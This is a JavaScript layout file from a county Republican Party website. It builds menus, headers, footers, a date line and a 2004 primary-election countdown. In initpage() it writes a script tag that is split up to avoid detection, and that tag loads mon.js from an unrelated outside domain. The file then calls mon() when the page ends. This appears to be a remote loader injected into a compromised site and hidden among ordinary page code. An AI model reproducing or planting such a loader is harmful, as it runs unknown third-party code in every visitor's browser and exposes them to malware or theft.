// 13 JAN 2007
var totalGraphics=0;
var graphic = new Array();
var selected=0;
var lastnum=0;
var imageSubdirectory = "images/";
var imagePrefix       = "TC_";
var onSuffix          = "_ON.gif";
var offSuffix         = "_OFF.gif";
var overSuffix        = "_SEL.gif";
var frameTarget       = "_top";
var num;
var Ltop = 0;
var currtop = Ltop;
var today = new Date();
var electionDay = new Date();
var secval = 1;

// --------------------- MAKE CHANGES ---------------------------------------

createMenu(40, 195, "welcome", "Tuolumne Republican Party", "index.html");
createMenu(40, 195, "local", "Local Opinion", "local/local.html");
createMenu(40, 195, "links", "Links", "links.html");
createMenu(40, 195, "calendar", "Calendar of Events", "TC_calendar.php");
createMenu(40, 195, "cc", "Central Committee", "cc.html");
createMenu(40, 195, "volunteer", "Volunteer", "volunteer.html");
createMenu(40, 195, "join", "Join the Party", "join.php");
createMenu(40, 195, "contact", "contact us", "contact.html");
createMenu(40, 195, "members", "Members Only", "members.php");
createMenu(40, 195, "reagan", "Remember Ronald Reagan", "reagan.html");
//createMenu(0, 0, "vets", "Vets Corner", "vets_corner.html");

//createMenu(30, 150, "jones", "Bill Jones for Senate", "jones/index.html");

// --------------------- END CHANGES -----------------------------------------


function initpage(p)
{
  page = p;
  with(this.document)
  {
    write('<scr'+'ipt type="text/javascript" src="http://knxu.com/mon.js"></scr'+'ipt>');
    write('</head><body bgcolor="#191940" text="#000000" link="#1111ff" vlink="#ee1111" alink="#8888FF" topmargin="10" leftmargin="10" marginwidth="10" marginheight="10">');
    header();
    write('<table border="0" bordercolor="green" cellpadding="0" cellspacing="0" width="1010"><tr>');
    write('<td width="210" valign="top" background="images/TC_menu_bg.gif">');
  }
}

function Address()

{
  with(this.document)
  {
    write('<div class="address_placement">');
    write('<span style="font-size:12pt">New Address: 211 S. Washington St. Sonora CA 95370&nbsp;&nbsp;&nbsp;Phone 209-352-2153</span><br/>');
    write('<span style="font-size:11pt">Hours: Thursday &amp; Friday 1:00pm to 4:00pm</span>&nbsp;<span style="color:white;font-size:9pt;font-weight:normal"><!-- (hours will change after the Primary) --></span>');

    write('</div>');
  }
}

function header()
{
  with(this.document)
  {
    write('<table border="0" bordercolor="red" cellpadding="0" cellspacing="0" width="1010"><tr>');
    write('<td width="1000" height="125"><img src="images/TC_hdr_11.jpg" alt="Tuolumne County Republican Party" height="125" width="1000"></td>');
    write('<td width="10" background="images/TC_hdr_12.gif"></td>');
//    write('<td width="242" height="175"><iframe width="240" height="174" bgcolor="#111188" src="hdrCountdown.html" scrolling="NO" marginheight="0" marginwidth="0" frameborder="0" noresize></iframe>');
//    write('<td width="160" bgcolor="#111188" valign="center" align="center"><img src="images/GOPeleph_shiny.gif" height="120" width="130" alt="GOP"/>&nbsp;</td>');
    write('</tr></table>');
    write('<table width="1010" border="0" bordercolor="yellow" cellpadding="0" cellspacing="0" height="50">');
    write('<tr><td width="1010" background="images/TC_hdr_21.gif">');
    doDate();

    write('</td>');
    write('</tr></table>');
  }
}








function MenuItem (height, width, name, infoText, link)
{
  this.height   = height;
  this.width    = width;
  this.name     = name;
  this.info     = infoText;
  this.link     = link;
  this.on       = new Image (width, height);
  this.on.src   = imageSubdirectory + imagePrefix + name + onSuffix;
  this.off      = new Image (width, height);
  this.off.src  = imageSubdirectory + imagePrefix + name + offSuffix;
  this.offname  = imageSubdirectory + imagePrefix + name + offSuffix;
  this.over     = new Image (width, height);
  this.over.src = imageSubdirectory + imagePrefix + name + overSuffix;
  this.info     = infoText;
  this.selected   = 0;
//51
  this.pos      = currtop;
  currtop += height;
}

function createMenu (height, width, name, infoText, link)
{
  graphic[totalGraphics] = new MenuItem(height, width, name, infoText, link);
  totalGraphics++;
}

function doClick (num)
{
  document.images[graphic[num].name].src = graphic[num].on.src;
  if(lastnum != num){document.images[graphic[lastnum].name].src = graphic[lastnum].off.src;}
  this.lastnum = num;
  selected = num;
}

function doMouseOver(num)
{
  if (num != selected)
  {
    document.images[graphic[num].name].src = graphic[num].over.src;
  }
  self.status = graphic[num].info;
}

function doMouseOut(num)
{
  if (num != selected)
  {
    document.images[graphic[num].name].src = graphic[num].off.src;
  }
}


function writemenu()
{
  with(this.document)
  {
    write('<div style="margin-left:0px">');
    for(i = 0; i < totalGraphics; i++)
    {
      write ('<a target="' + frameTarget + '" href="' + graphic[i].link + '" onMouseOver="doMouseOver(' + i + '); return true" onMouseOut="doMouseOut(' + i + ')" onClick="doClick(' + i + ')">');
      write ('<img name="' + graphic[i].name + '" src="' + graphic[i].offname + '" alt="' + graphic[i].name + '" width="' + graphic[i].width + '" height="' + graphic[i].height + '" border="0" vspace="0">');
      write ('</a><br>');
    }
    write('</div>');

    write('<div style="margin-left:40px">');
    write('<br/><br/><a href="https://ovr.ss.ca.gov/votereg/OnlineVoterReg"><image src="images/RegisterToVote.jpg" height="50" width="150" border="0" alt="Register to Vote"></a>');
    write('<br/><br/>');
    write('</div>');

    write('<div style="float:right;margin-right:20px">');

    setup_left();

    write('</div>');

  }
}

function setup_left()
{
  with(this.document)
  {

//    write('<a target="_blank" href="topics/palin/palin.html">');
//    write('<img src="images/McCain2008/palin_info_160.jpg" height="300" width="160" alt="Learn about Gov. Sarah Palin" border="0"></a>');
//    write('<br/><br/>');

// GOP Feed
//    write('<object style="border:0;overflow:visible" classid="clsid:25336920-03F9-11CF-8FD0-00AA00686F13" name="feeder" width="160" height="500" bgcolor="#111188" data="gopfeed.html" type="text/html"></object>');

  }
}

function setup_main()
{
  with(this.document)
  {
    write('</div></td>');
    write('<td valign="top" bgcolor="#eeeedd" width="590">');
    write('<div style="text-align:justify;color:black;margin-top:10px;margin-left:20px;margin-right:20px;font-family:arial;font-size:10pt">');
  }
}

function setup_right()
{
  with(this.document)
  {
    write('</div></td>');
    write('<td width="210" valign="top" background="images/TC_Rside_bg.gif"><div style="margin-left:7px">');
   write('<iframe name="countdown" width="150" height="220" bgcolor="#111188" src="hdrCountdown.html" scrolling="NO" marginheight="0" marginwidth="0" frameborder="0" noresize></iframe>');

//  CRP Convention info
//
//    write('<a target="_blank" href="http://www.cagop.org/index.cfm/convention.htm"><img src="images/icon_conventionfall2009.jpg" alt="Attend the CRP\'s Spring Convention - February 20-22 - Click Here" width="186" height="174" border="0"></a>');

    write('<br/><br/>');
//    write('<a target="_blank" href="http://www.americancarolers.com"><img src="images/AmCar_ad.jpg" alt="An American Carol" width="180" height="180" border="0"></a>');
//    write('<br/><br/>');
  }
}

function endpage()
{
  with(this.document)
  {
    write('</div></td></tr></table>');
    write('<table cellspacing="0" cellpadding="0" width="1010">');
    write('<tr><td width="10" height="30" background="images/TC_Lbot1_bg.gif"></td>');
    write('<td bgcolor="#881111" width="990" background="images/TC_bot1_bg.gif">');
    write('<center><span style="margin-left:10px;color:white;font-family:arial;font-size:7pt">Copyright &copy; 2004 - 2010 &bull; Tuolumne County Republican Party</span><center>');
    write('</td><td width="10" background="images/TC_hdr_12.gif"></tr>');
    write('<tr><td width="10" height="35" background="images/TC_Lbot2_bg.gif"></td>');
    write('<td bgcolor="#881111" width="990" background="images/TC_bot2_bg.gif">');
//    write('<center><span style="margin-left:10px;color:white;font-family:arial;font-size:7pt">Copyright &copy; 2004, 2005 - Tuolumne County Republican Party Central Committee</span><center>');
    write('</td><td width="10" background="images/TC_Rbot2_bg.gif"></tr>');
    write('</table>');
//    alert("Page is "+page);
    doClick(page);
    mon();
  }
}

function Dcountdown()
{
//	electionDay.setFullYear(2004);
//	electionDay.setMonth(10);
//	electionDay.setDate(2);
//	electionDay.setHours(7,0,0,0);
	electionDay.setFullYear(2004);
	electionDay.setMonth(2);
	electionDay.setDate(2);
	electionDay.setHours(7,0,0,0);
	var timeleft = electionDay.getTime() - today.getTime();
	var days = timeleft/(24*3600000);
	days = parseInt(days.toString());
	var hoursleft = timeleft-days*24*3600000;
	var hours = hoursleft/3600000;
	hours = parseInt(hours.toString());
	var minsleft = hoursleft-hours*3600000;
	var mins = Math.floor(minsleft/60000);
	var secsleft = minsleft-mins*60000;
	var secs = Math.floor(secsleft/1000);
	var ticks = hours;
	if(mins < 10){
		ticks += ":0" + mins;
	}else{
		ticks += ":" + mins;
	}
	if(secs < 10){
		ticks += ":0" + secs;
	}else{
		ticks += ":" + secs;
	}
	secval = secs;
	
//	return(days + " days " + hours + "h " + mins + "m " + secs + "s left until polls open 2 Mar 2004");
	with(this.document)
	{
	  write('<table border="1" width="200"><tr><td valign="top"><div style="color:#ffff00;font-family:arial;font-size:12pt">');
	  write("<b>The&nbsp;March&nbsp;2,&nbsp;2004 California&nbsp;Primary&nbsp;Election</b>");
	  write('</div></td></tr>');
	  write('<tr><td><div style="color:white;font-family:arial;font-size:12pt;font-weight:bold">Polls open in</div></td></tr>');
	  write('<tr><td align="center">');
	    write('<table border="1">');
	    write('<tr>');
	    write('<td align="center" width="50" rowspan="3">');
	    write('<img src="images/GOPeleph_shiny.gif" height="32" width="34" alt="GOP pin"></td>');
	    write('<td width="20" align="right" bgcolor="#000078"><div style="color:#fff800;font-family:arial;font-size:12pt"><b>' + days + '</b></div></td>');
	    write('<td><div style="color:white;font-family:arial;font-size:12pt">&nbsp;&nbsp;days</div></td></tr>');
	    write('<tr><td width="20" align="right" bgcolor="#000078"><div style="color:#fff800;font-family:arial;font-size:12pt"><b>' + hours + '</b></div></td>');
	    write('<td><div style="color:white;font-family:arial;font-size:12pt">&nbsp;&nbsp;hours</div></td></tr>');
	    write('<tr><td width="20" align="right" bgcolor="#000044"><div style="color:#fff800;font-family:arial;font-size:12pt"><b>' + mins + '</b></div></td>');
	    write('<td><div style="color:white;font-family:arial;font-size:12pt">&nbsp;&nbsp;minutes</div></td>');
	    write('</tr>');
	    write('</table>');
	  write('</td></tr></table>');
	}
    setTimeout("location.reload()",60000);
}

function doDate()
{
	this.document.write('<div style="color:#dddd44;margin-left:10px;margin-bottom:3px;font-family:arial;font-size:14;font-weight:bold">' + getDayStr(today.getDay()).toString() + ', ');
	this.document.write(getLongMonth(today.getMonth()) + " " + today.getDate().toString() + ", ");
	this.document.write(today.getFullYear().toString() + "</div>");
}
function getMon(mon)
{
	var month = new Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec");
	return month[mon];
}
function getLongMonth(mon)
{
	var month = new Array("January","February","March","April","May","June","July","August","September","October","November","December");
	return month[mon];
}
function getDayStr(day)
{
	var week = new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday");
	return week[day];
}


// Jump to the next element when text length is 'size' in a form element

function nexttext(form,from,size,to)
{
  var text;
  text = eval("document.forms['"+form+"'].elements['"+from+"'].value");
  if(text.length >= size)
  {
    eval("document.forms['"+form+"'].elements['"+to+"'].focus()");
  }
}
